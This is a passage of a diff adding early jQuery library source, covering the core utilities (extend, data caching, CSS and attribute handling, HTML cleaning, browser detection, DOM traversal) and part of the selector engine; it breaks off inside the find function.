+	var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options;
+
+	// Handle a deep copy situation
+	if ( target.constructor == Boolean ) {
+		deep = target;
+		target = arguments[1] || {};
+		// skip the boolean and the target
+		i = 2;
+	}
+
+	// Handle case when target is a string or something (possible in deep copy)
+	if ( typeof target != "object" && typeof target != "function" )
+		target = {};
+
+	// extend jQuery itself if only one argument is passed
+	if ( length == 1 ) {
+		target = this;
+		i = 0;
+	}
+
+	for ( ; i < length; i++ )
+		// Only deal with non-null/undefined values
+		if ( (options = arguments[ i ]) != null )
+			// Extend the base object
+			for ( var name in options ) {
+				// Prevent never-ending loop
+				if ( target === options[ name ] )
+					continue;
+
+				// Recurse if we're merging object values
+				if ( deep && options[ name ] && typeof options[ name ] == "object" && target[ name ] && !options[ name ].nodeType )
+					target[ name ] = jQuery.extend( target[ name ], options[ name ] );
+
+				// Don't bring in undefined values
+				else if ( options[ name ] != undefined )
+					target[ name ] = options[ name ];
+
+			}
+
+	// Return the modified object
+	return target;
+};
+
+var expando = "jQuery" + (new Date()).getTime(), uuid = 0, windowData = {};
+
+// exclude the following css properties to add px
+var exclude = /z-?index|font-?weight|opacity|zoom|line-?height/i;
+
+jQuery.extend({
+	noConflict: function( deep ) {
+		window.$ = _$;
+
+		if ( deep )
+			window.jQuery = _jQuery;
+
+		return jQuery;
+	},
+
+	// See test/unit/core.js for details concerning this function.
+	isFunction: function( fn ) {
+		return !!fn && typeof fn != "string" && !fn.nodeName && 
+			fn.constructor != Array && /function/i.test( fn + "" );
+	},
+	
+	// check if an element is in a (or is an) XML document
+	isXMLDoc: function( elem ) {
+		return elem.documentElement && !elem.body ||
+			elem.tagName && elem.ownerDocument && !elem.ownerDocument.body;
+	},
+
+	// Evalulates a script in a global context
+	globalEval: function( data ) {
+		data = jQuery.trim( data );
+
+		if ( data ) {
+			// Inspired by code by Andrea Giammarchi
+			// http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html
+			var head = document.getElementsByTagName("head")[0] || document.documentElement,
+				script = document.createElement("script");
+
+			script.type = "text/javascript";
+			if ( jQuery.browser.msie )
+				script.text = data;
+			else
+				script.appendChild( document.createTextNode( data ) );
+
+			head.appendChild( script );
+			head.removeChild( script );
+		}
+	},
+
+	nodeName: function( elem, name ) {
+		return elem.nodeName && elem.nodeName.toUpperCase() == name.toUpperCase();
+	},
+	
+	cache: {},
+	
+	data: function( elem, name, data ) {
+		elem = elem == window ?
+			windowData :
+			elem;
+
+		var id = elem[ expando ];
+
+		// Compute a unique ID for the element
+		if ( !id ) 
+			id = elem[ expando ] = ++uuid;
+
+		// Only generate the data cache if we're
+		// trying to access or manipulate it
+		if ( name && !jQuery.cache[ id ] )
+			jQuery.cache[ id ] = {};
+		
+		// Prevent overriding the named cache with undefined values
+		if ( data != undefined )
+			jQuery.cache[ id ][ name ] = data;
+		
+		// Return the named cache data, or the ID for the element	
+		return name ?
+			jQuery.cache[ id ][ name ] :
+			id;
+	},
+	
+	removeData: function( elem, name ) {
+		elem = elem == window ?
+			windowData :
+			elem;
+
+		var id = elem[ expando ];
+
+		// If we want to remove a specific section of the element's data
+		if ( name ) {
+			if ( jQuery.cache[ id ] ) {
+				// Remove the section of cache data
+				delete jQuery.cache[ id ][ name ];
+
+				// If we've removed all the data, remove the element's cache
+				name = "";
+
+				for ( name in jQuery.cache[ id ] )
+					break;
+
+				if ( !name )
+					jQuery.removeData( elem );
+			}
+
+		// Otherwise, we want to remove all of the element's data
+		} else {
+			// Clean up the element expando
+			try {
+				delete elem[ expando ];
+			} catch(e){
+				// IE has trouble directly removing the expando
+				// but it's ok with using removeAttribute
+				if ( elem.removeAttribute )
+					elem.removeAttribute( expando );
+			}
+
+			// Completely remove the data cache
+			delete jQuery.cache[ id ];
+		}
+	},
+
+	// args is for internal usage only
+	each: function( object, callback, args ) {
+		if ( args ) {
+			if ( object.length == undefined ) {
+				for ( var name in object )
+					if ( callback.apply( object[ name ], args ) === false )
+						break;
+			} else
+				for ( var i = 0, length = object.length; i < length; i++ )
+					if ( callback.apply( object[ i ], args ) === false )
+						break;
+
+		// A special, fast, case for the most common use of each
+		} else {
+			if ( object.length == undefined ) {
+				for ( var name in object )
+					if ( callback.call( object[ name ], name, object[ name ] ) === false )
+						break;
+			} else
+				for ( var i = 0, length = object.length, value = object[0]; 
+					i < length && callback.call( value, i, value ) !== false; value = object[++i] ){}
+		}
+
+		return object;
+	},
+	
+	prop: function( elem, value, type, i, name ) {
+			// Handle executable functions
+			if ( jQuery.isFunction( value ) )
+				value = value.call( elem, i );
+				
+			// Handle passing in a number to a CSS property
+			return value && value.constructor == Number && type == "curCSS" && !exclude.test( name ) ?
+				value + "px" :
+				value;
+	},
+
+	className: {
+		// internal only, use addClass("class")
+		add: function( elem, classNames ) {
+			jQuery.each((classNames || "").split(/\s+/), function(i, className){
+				if ( elem.nodeType == 1 && !jQuery.className.has( elem.className, className ) )
+					elem.className += (elem.className ? " " : "") + className;
+			});
+		},
+
+		// internal only, use removeClass("class")
+		remove: function( elem, classNames ) {
+			if (elem.nodeType == 1)
+				elem.className = classNames != undefined ?
+					jQuery.grep(elem.className.split(/\s+/), function(className){
+						return !jQuery.className.has( classNames, className );	
+					}).join(" ") :
+					"";
+		},
+
+		// internal only, use is(".class")
+		has: function( elem, className ) {
+			return jQuery.inArray( className, (elem.className || elem).toString().split(/\s+/) ) > -1;
+		}
+	},
+
+	// A method for quickly swapping in/out CSS properties to get correct calculations
+	swap: function( elem, options, callback ) {
+		var old = {};
+		// Remember the old values, and insert the new ones
+		for ( var name in options ) {
+			old[ name ] = elem.style[ name ];
+			elem.style[ name ] = options[ name ];
+		}
+
+		callback.call( elem );
+
+		// Revert the old values
+		for ( var name in options )
+			elem.style[ name ] = old[ name ];
+	},
+
+	css: function( elem, name, force ) {
+		if ( name == "width" || name == "height" ) {
+			var val, props = { position: "absolute", visibility: "hidden", display:"block" }, which = name == "width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ];
+		
+			function getWH() {
+				val = name == "width" ? elem.offsetWidth : elem.offsetHeight;
+				var padding = 0, border = 0;
+				jQuery.each( which, function() {
+					padding += parseFloat(jQuery.curCSS( elem, "padding" + this, true)) || 0;
+					border += parseFloat(jQuery.curCSS( elem, "border" + this + "Width", true)) || 0;
+				});
+				val -= Math.round(padding + border);
+			}
+		
+			if ( jQuery(elem).is(":visible") )
+				getWH();
+			else
+				jQuery.swap( elem, props, getWH );
+			
+			return Math.max(0, val);
+		}
+		
+		return jQuery.curCSS( elem, name, force );
+	},
+
+	curCSS: function( elem, name, force ) {
+		var ret;
+
+		// A helper method for determining if an element's values are broken
+		function color( elem ) {
+			if ( !jQuery.browser.safari )
+				return false;
+
+			var ret = document.defaultView.getComputedStyle( elem, null );
+			return !ret || ret.getPropertyValue("color") == "";
+		}
+
+		// We need to handle opacity special in IE
+		if ( name == "opacity" && jQuery.browser.msie ) {
+			ret = jQuery.attr( elem.style, "opacity" );
+
+			return ret == "" ?
+				"1" :
+				ret;
+		}
+		// Opera sometimes will give the wrong display answer, this fixes it, see #2037
+		if ( jQuery.browser.opera && name == "display" ) {
+			var save = elem.style.outline;
+			elem.style.outline = "0 solid black";
+			elem.style.outline = save;
+		}
+		
+		// Make sure we're using the right name for getting the float value
+		if ( name.match( /float/i ) )
+			name = styleFloat;
+
+		if ( !force && elem.style && elem.style[ name ] )
+			ret = elem.style[ name ];
+
+		else if ( document.defaultView && document.defaultView.getComputedStyle ) {
+
+			// Only "float" is needed here
+			if ( name.match( /float/i ) )
+				name = "float";
+
+			name = name.replace( /([A-Z])/g, "-$1" ).toLowerCase();
+
+			var getComputedStyle = document.defaultView.getComputedStyle( elem, null );
+
+			if ( getComputedStyle && !color( elem ) )
+				ret = getComputedStyle.getPropertyValue( name );
+
+			// If the element isn't reporting its values properly in Safari
+			// then some display: none elements are involved
+			else {
+				var swap = [], stack = [];
+
+				// Locate all of the parent display: none elements
+				for ( var a = elem; a && color(a); a = a.parentNode )
+					stack.unshift(a);
+
+				// Go through and make them visible, but in reverse
+				// (It would be better if we knew the exact display type that they had)
+				for ( var i = 0; i < stack.length; i++ )
+					if ( color( stack[ i ] ) ) {
+						swap[ i ] = stack[ i ].style.display;
+						stack[ i ].style.display = "block";
+					}
+
+				// Since we flip the display style, we have to handle that
+				// one special, otherwise get the value
+				ret = name == "display" && swap[ stack.length - 1 ] != null ?
+					"none" :
+					( getComputedStyle && getComputedStyle.getPropertyValue( name ) ) || "";
+
+				// Finally, revert the display styles back
+				for ( var i = 0; i < swap.length; i++ )
+					if ( swap[ i ] != null )
+						stack[ i ].style.display = swap[ i ];
+			}
+
+			// We should always get a number back from opacity
+			if ( name == "opacity" && ret == "" )
+				ret = "1";
+
+		} else if ( elem.currentStyle ) {
+			var camelCase = name.replace(/\-(\w)/g, function(all, letter){
+				return letter.toUpperCase();
+			});
+
+			ret = elem.currentStyle[ name ] || elem.currentStyle[ camelCase ];
+
+			// From the awesome hack by Dean Edwards
+			// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
+
+			// If we're not dealing with a regular pixel number
+			// but a number that has a weird ending, we need to convert it to pixels
+			if ( !/^\d+(px)?$/i.test( ret ) && /^\d/.test( ret ) ) {
+				// Remember the original values
+				var style = elem.style.left, runtimeStyle = elem.runtimeStyle.left;
+
+				// Put in the new values to get a computed value out
+				elem.runtimeStyle.left = elem.currentStyle.left;
+				elem.style.left = ret || 0;
+				ret = elem.style.pixelLeft + "px";
+
+				// Revert the changed values
+				elem.style.left = style;
+				elem.runtimeStyle.left = runtimeStyle;
+			}
+		}
+
+		return ret;
+	},
+	
+	clean: function( elems, context ) {
+		var ret = [];
+		context = context || document;
+		// !context.createElement fails in IE with an error but returns typeof 'object'
+		if (typeof context.createElement == 'undefined') 
+			context = context.ownerDocument || context[0] && context[0].ownerDocument || document;
+
+		jQuery.each(elems, function(i, elem){
+			if ( !elem )
+				return;
+
+			if ( elem.constructor == Number )
+				elem = elem.toString();
+			
+			// Convert html string into DOM nodes
+			if ( typeof elem == "string" ) {
+				// Fix "XHTML"-style tags in all browsers
+				elem = elem.replace(/(<(\w+)[^>]*?)\/>/g, function(all, front, tag){
+					return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i) ?
+						all :
+						front + "></" + tag + ">";
+				});
+
+				// Trim whitespace, otherwise indexOf won't work as expected
+				var tags = jQuery.trim( elem ).toLowerCase(), div = context.createElement("div");
+
+				var wrap =
+					// option or optgroup
+					!tags.indexOf("<opt") &&
+					[ 1, "<select multiple='multiple'>", "</select>" ] ||
+					
+					!tags.indexOf("<leg") &&
+					[ 1, "<fieldset>", "</fieldset>" ] ||
+					
+					tags.match(/^<(thead|tbody|tfoot|colg|cap)/) &&
+					[ 1, "<table>", "</table>" ] ||
+					
+					!tags.indexOf("<tr") &&
+					[ 2, "<table><tbody>", "</tbody></table>" ] ||
+					
+				 	// <thead> matched above
+					(!tags.indexOf("<td") || !tags.indexOf("<th")) &&
+					[ 3, "<table><tbody><tr>", "</tr></tbody></table>" ] ||
+					
+					!tags.indexOf("<col") &&
+					[ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ] ||
+
+					// IE can't serialize <link> and <script> tags normally
+					jQuery.browser.msie &&
+					[ 1, "div<div>", "</div>" ] ||
+					
+					[ 0, "", "" ];
+
+				// Go to html and back, then peel off extra wrappers
+				div.innerHTML = wrap[1] + elem + wrap[2];
+				
+				// Move to the right depth
+				while ( wrap[0]-- )
+					div = div.lastChild;
+				
+				// Remove IE's autoinserted <tbody> from table fragments
+				if ( jQuery.browser.msie ) {
+					
+					// String was a <table>, *may* have spurious <tbody>
+					var tbody = !tags.indexOf("<table") && tags.indexOf("<tbody") < 0 ?
+						div.firstChild && div.firstChild.childNodes :
+						
+						// String was a bare <thead> or <tfoot>
+						wrap[1] == "<table>" && tags.indexOf("<tbody") < 0 ?
+							div.childNodes :
+							[];
+				
+					for ( var j = tbody.length - 1; j >= 0 ; --j )
+						if ( jQuery.nodeName( tbody[ j ], "tbody" ) && !tbody[ j ].childNodes.length )
+							tbody[ j ].parentNode.removeChild( tbody[ j ] );
+					
+					// IE completely kills leading whitespace when innerHTML is used	
+					if ( /^\s/.test( elem ) )	
+						div.insertBefore( context.createTextNode( elem.match(/^\s*/)[0] ), div.firstChild );
+				
+				}
+				
+				elem = jQuery.makeArray( div.childNodes );
+			}
+
+			if ( elem.length === 0 && (!jQuery.nodeName( elem, "form" ) && !jQuery.nodeName( elem, "select" )) )
+				return;
+
+			if ( elem[0] == undefined || jQuery.nodeName( elem, "form" ) || elem.options )
+				ret.push( elem );
+
+			else
+				ret = jQuery.merge( ret, elem );
+
+		});
+
+		return ret;
+	},
+	
+	attr: function( elem, name, value ) {
+		// don't set attributes on text and comment nodes
+		if (!elem || elem.nodeType == 3 || elem.nodeType == 8)
+			return undefined;
+
+		var fix = jQuery.isXMLDoc( elem ) ?
+			{} :
+			jQuery.props;
+
+		// Safari mis-reports the default selected property of a hidden option
+		// Accessing the parent's selectedIndex property fixes it
+		if ( name == "selected" && jQuery.browser.safari )
+			elem.parentNode.selectedIndex;
+		
+		// Certain attributes only work when accessed via the old DOM 0 way
+		if ( fix[ name ] ) {
+			if ( value != undefined )
+				elem[ fix[ name ] ] = value;
+
+			return elem[ fix[ name ] ];
+
+		} else if ( jQuery.browser.msie && name == "style" )
+			return jQuery.attr( elem.style, "cssText", value );
+
+		else if ( value == undefined && jQuery.browser.msie && jQuery.nodeName( elem, "form" ) && (name == "action" || name == "method") )
+			return elem.getAttributeNode( name ).nodeValue;
+
+		// IE elem.getAttribute passes even for style
+		else if ( elem.tagName ) {
+
+			if ( value != undefined ) {
+				// We can't allow the type property to be changed (since it causes problems in IE)
+				if ( name == "type" && jQuery.nodeName( elem, "input" ) && elem.parentNode )
+					throw "type property can't be changed";
+
+				// convert the value to a string (all browsers do this but IE) see #1070
+				elem.setAttribute( name, "" + value );
+			}
+
+			if ( jQuery.browser.msie && /href|src/.test( name ) && !jQuery.isXMLDoc( elem ) ) 
+				return elem.getAttribute( name, 2 );
+
+			return elem.getAttribute( name );
+
+		// elem is actually elem.style ... set the style
+		} else {
+			// IE actually uses filters for opacity
+			if ( name == "opacity" && jQuery.browser.msie ) {
+				if ( value != undefined ) {
+					// IE has trouble with opacity if it does not have layout
+					// Force it by setting the zoom level
+					elem.zoom = 1; 
+	
+					// Set the alpha filter to set the opacity
+					elem.filter = (elem.filter || "").replace( /alpha\([^)]*\)/, "" ) +
+						(parseFloat( value ).toString() == "NaN" ? "" : "alpha(opacity=" + value * 100 + ")");
+				}
+	
+				return elem.filter && elem.filter.indexOf("opacity=") >= 0 ?
+					(parseFloat( elem.filter.match(/opacity=([^)]*)/)[1] ) / 100).toString() :
+					"";
+			}
+
+			name = name.replace(/-([a-z])/ig, function(all, letter){
+				return letter.toUpperCase();
+			});
+
+			if ( value != undefined )
+				elem[ name ] = value;
+
+			return elem[ name ];
+		}
+	},
+	
+	trim: function( text ) {
+		return (text || "").replace( /^\s+|\s+$/g, "" );
+	},
+
+	makeArray: function( array ) {
+		var ret = [];
+
+		// Need to use typeof to fight Safari childNodes crashes
+		if ( typeof array != "array" )
+			for ( var i = 0, length = array.length; i < length; i++ )
+				ret.push( array[ i ] );
+		else
+			ret = array.slice( 0 );
+
+		return ret;
+	},
+
+	inArray: function( elem, array ) {
+		for ( var i = 0, length = array.length; i < length; i++ )
+			if ( array[ i ] == elem )
+				return i;
+
+		return -1;
+	},
+
+	merge: function( first, second ) {
+		// We have to loop this way because IE & Opera overwrite the length
+		// expando of getElementsByTagName
+
+		// Also, we need to make sure that the correct elements are being returned
+		// (IE returns comment nodes in a '*' query)
+		if ( jQuery.browser.msie ) {
+			for ( var i = 0; second[ i ]; i++ )
+				if ( second[ i ].nodeType != 8 )
+					first.push( second[ i ] );
+
+		} else
+			for ( var i = 0; second[ i ]; i++ )
+				first.push( second[ i ] );
+
+		return first;
+	},
+
+	unique: function( array ) {
+		var ret = [], done = {};
+
+		try {
+
+			for ( var i = 0, length = array.length; i < length; i++ ) {
+				var id = jQuery.data( array[ i ] );
+
+				if ( !done[ id ] ) {
+					done[ id ] = true;
+					ret.push( array[ i ] );
+				}
+			}
+
+		} catch( e ) {
+			ret = array;
+		}
+
+		return ret;
+	},
+
+	grep: function( elems, callback, inv ) {
+		var ret = [];
+
+		// Go through the array, only saving the items
+		// that pass the validator function
+		for ( var i = 0, length = elems.length; i < length; i++ )
+			if ( !inv && callback( elems[ i ], i ) || inv && !callback( elems[ i ], i ) )
+				ret.push( elems[ i ] );
+
+		return ret;
+	},
+
+	map: function( elems, callback ) {
+		var ret = [];
+
+		// Go through the array, translating each of the items to their
+		// new value (or values).
+		for ( var i = 0, length = elems.length; i < length; i++ ) {
+			var value = callback( elems[ i ], i );
+
+			if ( value !== null && value != undefined ) {
+				if ( value.constructor != Array )
+					value = [ value ];
+
+				ret = ret.concat( value );
+			}
+		}
+
+		return ret;
+	}
+});
+
+var userAgent = navigator.userAgent.toLowerCase();
+
+// Figure out what browser is being used
+jQuery.browser = {
+	version: (userAgent.match( /.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/ ) || [])[1],
+	safari: /webkit/.test( userAgent ),
+	opera: /opera/.test( userAgent ),
+	msie: /msie/.test( userAgent ) && !/opera/.test( userAgent ),
+	mozilla: /mozilla/.test( userAgent ) && !/(compatible|webkit)/.test( userAgent )
+};
+
+var styleFloat = jQuery.browser.msie ?
+	"styleFloat" :
+	"cssFloat";
+	
+jQuery.extend({
+	// Check to see if the W3C box model is being used
+	boxModel: !jQuery.browser.msie || document.compatMode == "CSS1Compat",
+	
+	props: {
+		"for": "htmlFor",
+		"class": "className",
+		"float": styleFloat,
+		cssFloat: styleFloat,
+		styleFloat: styleFloat,
+		innerHTML: "innerHTML",
+		className: "className",
+		value: "value",
+		disabled: "disabled",
+		checked: "checked",
+		readonly: "readOnly",
+		selected: "selected",
+		maxlength: "maxLength",
+		selectedIndex: "selectedIndex",
+		defaultValue: "defaultValue",
+		tagName: "tagName",
+		nodeName: "nodeName"
+	}
+});
+
+jQuery.each({
+	parent: function(elem){return elem.parentNode;},
+	parents: function(elem){return jQuery.dir(elem,"parentNode");},
+	next: function(elem){return jQuery.nth(elem,2,"nextSibling");},
+	prev: function(elem){return jQuery.nth(elem,2,"previousSibling");},
+	nextAll: function(elem){return jQuery.dir(elem,"nextSibling");},
+	prevAll: function(elem){return jQuery.dir(elem,"previousSibling");},
+	siblings: function(elem){return jQuery.sibling(elem.parentNode.firstChild,elem);},
+	children: function(elem){return jQuery.sibling(elem.firstChild);},
+	contents: function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.makeArray(elem.childNodes);}
+}, function(name, fn){
+	jQuery.fn[ name ] = function( selector ) {
+		var ret = jQuery.map( this, fn );
+
+		if ( selector && typeof selector == "string" )
+			ret = jQuery.multiFilter( selector, ret );
+
+		return this.pushStack( jQuery.unique( ret ) );
+	};
+});
+
+jQuery.each({
+	appendTo: "append",
+	prependTo: "prepend",
+	insertBefore: "before",
+	insertAfter: "after",
+	replaceAll: "replaceWith"
+}, function(name, original){
+	jQuery.fn[ name ] = function() {
+		var args = arguments;
+
+		return this.each(function(){
+			for ( var i = 0, length = args.length; i < length; i++ )
+				jQuery( args[ i ] )[ original ]( this );
+		});
+	};
+});
+
+jQuery.each({
+	removeAttr: function( name ) {
+		jQuery.attr( this, name, "" );
+		if (this.nodeType == 1) 
+			this.removeAttribute( name );
+	},
+
+	addClass: function( classNames ) {
+		jQuery.className.add( this, classNames );
+	},
+
+	removeClass: function( classNames ) {
+		jQuery.className.remove( this, classNames );
+	},
+
+	toggleClass: function( classNames ) {
+		jQuery.className[ jQuery.className.has( this, classNames ) ? "remove" : "add" ]( this, classNames );
+	},
+
+	remove: function( selector ) {
+		if ( !selector || jQuery.filter( selector, [ this ] ).r.length ) {
+			// Prevent memory leaks
+			jQuery( "*", this ).add(this).each(function(){
+				jQuery.event.remove(this);
+				jQuery.removeData(this);
+			});
+			if (this.parentNode)
+				this.parentNode.removeChild( this );
+		}
+	},
+
+	empty: function() {
+		// Remove element nodes and prevent memory leaks
+		jQuery( ">*", this ).remove();
+		
+		// Remove any remaining nodes
+		while ( this.firstChild )
+			this.removeChild( this.firstChild );
+	}
+}, function(name, fn){
+	jQuery.fn[ name ] = function(){
+		return this.each( fn, arguments );
+	};
+});
+
+jQuery.each([ "Height", "Width" ], function(i, name){
+	var type = name.toLowerCase();
+	
+	jQuery.fn[ type ] = function( size ) {
+		// Get window width or height
+		return this[0] == window ?
+			// Opera reports document.body.client[Width/Height] properly in both quirks and standards
+			jQuery.browser.opera && document.body[ "client" + name ] || 
+			
+			// Safari reports inner[Width/Height] just fine (Mozilla and Opera include scroll bar widths)
+			jQuery.browser.safari && window[ "inner" + name ] ||
+			
+			// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode
+			document.compatMode == "CSS1Compat" && document.documentElement[ "client" + name ] || document.body[ "client" + name ] :
+		
+			// Get document width or height
+			this[0] == document ?
+				// Either scroll[Width/Height] or offset[Width/Height], whichever is greater
+				Math.max( 
+					Math.max(document.body["scroll" + name], document.documentElement["scroll" + name]), 
+					Math.max(document.body["offset" + name], document.documentElement["offset" + name]) 
+				) :
+
+				// Get or set width or height on the element
+				size == undefined ?
+					// Get width or height on the element
+					(this.length ? jQuery.css( this[0], type ) : null) :
+
+					// Set the width or height on the element (default to pixels if value is unitless)
+					this.css( type, size.constructor == String ? size : size + "px" );
+	};
+});
+
+var chars = jQuery.browser.safari && parseInt(jQuery.browser.version) < 417 ?
+		"(?:[\\w*_-]|\\\\.)" :
+		"(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",
+	quickChild = new RegExp("^>\\s*(" + chars + "+)"),
+	quickID = new RegExp("^(" + chars + "+)(#)(" + chars + "+)"),
+	quickClass = new RegExp("^([#.]?)(" + chars + "*)");
+
+jQuery.extend({
+	expr: {
+		"": function(a,i,m){return m[2]=="*"||jQuery.nodeName(a,m[2]);},
+		"#": function(a,i,m){return a.getAttribute("id")==m[2];},
+		":": {
+			// Position Checks
+			lt: function(a,i,m){return i<m[3]-0;},
+			gt: function(a,i,m){return i>m[3]-0;},
+			nth: function(a,i,m){return m[3]-0==i;},
+			eq: function(a,i,m){return m[3]-0==i;},
+			first: function(a,i){return i==0;},
+			last: function(a,i,m,r){return i==r.length-1;},
+			even: function(a,i){return i%2==0;},
+			odd: function(a,i){return i%2;},
+
+			// Child Checks
+			"first-child": function(a){return a.parentNode.getElementsByTagName("*")[0]==a;},
+			"last-child": function(a){return jQuery.nth(a.parentNode.lastChild,1,"previousSibling")==a;},
+			"only-child": function(a){return !jQuery.nth(a.parentNode.lastChild,2,"previousSibling");},
+
+			// Parent Checks
+			parent: function(a){return a.firstChild;},
+			empty: function(a){return !a.firstChild;},
+
+			// Text Check
+			contains: function(a,i,m){return (a.textContent||a.innerText||jQuery(a).text()||"").indexOf(m[3])>=0;},
+
+			// Visibility
+			visible: function(a){return "hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden";},
+			hidden: function(a){return "hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden";},
+
+			// Form attributes
+			enabled: function(a){return !a.disabled;},
+			disabled: function(a){return a.disabled;},
+			checked: function(a){return a.checked;},
+			selected: function(a){return a.selected||jQuery.attr(a,"selected");},
+
+			// Form elements
+			text: function(a){return "text"==a.type;},
+			radio: function(a){return "radio"==a.type;},
+			checkbox: function(a){return "checkbox"==a.type;},
+			file: function(a){return "file"==a.type;},
+			password: function(a){return "password"==a.type;},
+			submit: function(a){return "submit"==a.type;},
+			image: function(a){return "image"==a.type;},
+			reset: function(a){return "reset"==a.type;},
+			button: function(a){return "button"==a.type||jQuery.nodeName(a,"button");},
+			input: function(a){return /input|select|textarea|button/i.test(a.nodeName);},
+
+			// :has()
+			has: function(a,i,m){return jQuery.find(m[3],a).length;},
+
+			// :header
+			header: function(a){return /h\d/i.test(a.nodeName);},
+
+			// :animated
+			animated: function(a){return jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length;}
+		}
+	},
+	
+	// The regular expressions that power the parsing engine
+	parse: [
+		// Match: [@value='test'], [@foo]
+		/^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,
+
+		// Match: :contains('foo')
+		/^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,
+
+		// Match: :even, :last-chlid, #id, .class
+		new RegExp("^([:.#]*)(" + chars + "+)")
+	],
+
+	multiFilter: function( expr, elems, not ) {
+		var old, cur = [];
+
+		while ( expr && expr != old ) {
+			old = expr;
+			var f = jQuery.filter( expr, elems, not );
+			expr = f.t.replace(/^\s*,\s*/, "" );
+			cur = not ? elems = f.r : jQuery.merge( cur, f.r );
+		}
+
+		return cur;
+	},
+
+	find: function( t, context ) {
+		// Quickly handle non-string expressions
+		if ( typeof t != "string" )
+			return [ t ];
+
+		// check to make sure context is a DOM element or a document
+		if ( context && context.nodeType != 1 && context.nodeType != 9)
+			return [ ];
+
+		// Set the correct context (if none is provided)
+		context = context || document;
+
+		// Initialize the search
+		var ret = [context], done = [], last, nodeName;
+
+		// Continue while a selector expression exists, and while
+		// we're no longer looping upon ourselves
+		while ( t && last != t ) {
+			var r = [];
+			last = t;
+
+			t = jQuery.trim(t);
+
+			var foundToken = false;
+
+			// An attempt at speeding up child selectors that
+			// point to a specific element tag
+			var re = quickChild;
+			var m = re.exec(t);
+
+			if ( m ) {
+				nodeName = m[1].toUpperCase();
+
+				// Perform our own iteration and filter
+				for ( var i = 0; ret[i]; i++ )
+					for ( var c = ret[i].firstChild; c; c = c.nextSibling )
+						if ( c.nodeType == 1 && (nodeName == "*" || c.nodeName.toUpperCase() == nodeName) )
+							r.push( c );
+
+				ret = r;
+				t = t.replace( re, "" );
+				if ( t.indexOf(" ") == 0 ) continue;
+				foundToken = true;
+			} else {
+				re = /^([>+~])\s*(\w*)/i;
+
+				if ( (m = re.exec(t)) != null ) {
+					r = [];
+
+					var merge = {};
+					nodeName = m[2].toUpperCase();
+					m = m[1];
+
+					for ( var j = 0, rl = ret.length; j < rl; j++ ) {
+						var n = m == "~" || m == "+" ? ret[j].nextSibling : ret[j].firstChild;
+						for ( ; n; n = n.nextSibling )
+							if ( n.nodeType == 1 ) {
+								var id = jQuery.data(n);
+
+								if ( m == "~" && merge[id] ) break;
+								
+								if (!nodeName || n.nodeName.toUpperCase() == nodeName ) {
+									if ( m == "~" ) merge[id] = true;
+									r.push( n );
+								}
+								
+								if ( m == "+" ) break;
+							}
+					}
+
+					ret = r;
+
+					// And remove the token
+					t = jQuery.trim( t.replace( re, "" ) );
+					foundToken = true;
+				}
+			}
+
+			// See if there's still an expression, and that we haven't already
+			// matched a token
+			if ( t && !foundToken ) {
+				// Handle multiple expressions
+				if ( !t.indexOf(",") ) {
+					// Clean the result set
+					if ( context == ret[0] ) ret.shift();
+
+					// Merge the result sets
+					done = jQuery.merge( done, ret );
+
+					// Reset the context
+					r = ret = [context];
+
+					// Touch up the selector string
+					t = " " + t.substr(1,t.length);
+
+				} else {
+					// Optimize for the case nodeName#idName
+					var re2 = quickID;
+					var m = re2.exec(t);
+					
+					// Re-organize the results, so that they're consistent
+					if ( m ) {
+						m = [ 0, m[2], m[3], m[1] ];
+
+					} else {
+						// Otherwise, do a traditional filter check for
+						// ID, class, and element selectors
+						re2 = quickClass;
+						m = re2.exec(t);
+					}
+
+					m[2] = m[2].replace(/\\/g, "");
+
+					var elem = ret[ret.length-1];
+
+					// Try to do a global search by ID, where we can
+					if ( m[1] == "#" && elem && elem.getElementById && !jQuery.isXMLDoc(elem) ) {
+						// Optimization for HTML document case
+						var oid = elem.getElementById(m[2]);
+						
+						// Do a quick check for the existence of the actual ID attribute
+						// to avoid selecting by the name attribute in IE
+						// also check to insure id is a string to avoid selecting an element with the name of 'id' inside a form
+						if ( (jQuery.browser.msie||jQuery.browser.opera) && oid && typeof oid.id == "string" && oid.id != m[2] )
+							oid = jQuery('[@id="'+m[2]+'"]', elem)[0];
+
+						// Do a quick check for node name (where applicable) so
+						// that div#foo searches will be really fast
+						ret = r = oid && (!m[3] || jQuery.nodeName(oid, m[3])) ? [oid] : [];
+					} else {
+						// We need to find all descendant elements
+						for ( var i = 0; ret[i]; i++ ) {
+							// Grab the tag name being searched for
+							var tag = m[1] == "#" && m[3] ? m[3] : m[1] != "" || m[0] == "" ? "*" : m[2];
+
+							// Handle IE7 being really dumb about <object>s
+							if ( tag == "*" && ret[i].nodeName.toLowerCase() == "object" )
+								tag = "param";
+
+							r = jQuery.merge( r, ret[i].getElementsByTagName( tag ));
+						}
+
+						// It's faster to filter by class and be done with it
+						if ( m[1] == "." )
+							r = jQuery.classFilter( r, m[2] );
+
+						// Same with ID filtering
+						if ( m[1] == "#" ) {
+							var tmp = [];
+
+							// Try to find the element with the ID
+							for ( var i = 0; r[i]; i++ )
+								if ( r[i].getAttribute("id") == m[2] ) {
+									tmp = [ r[i] ];
+									break;
+								}
+
+							r = tmp;
+						}
+
+						ret = r;
+					}
+
+					t = t.replace( re2, "" );
+				}
+
+			}
+
+			// If a selector string still exists
+			if ( t ) {
+				// Attempt to filter it
+				var val = jQuery.filter(t,r);
+				ret = r = val.r;
+				t = jQuery.trim(val.t);
+			}
+		}
+
+		// An error occurred with the selector;
+		// just return an empty set instead
+		if ( t )
+			ret = [];
+
+		// Remove the root context
+		if ( ret && context == ret[0] )
+			ret.shift();
+
+		// And combine the results
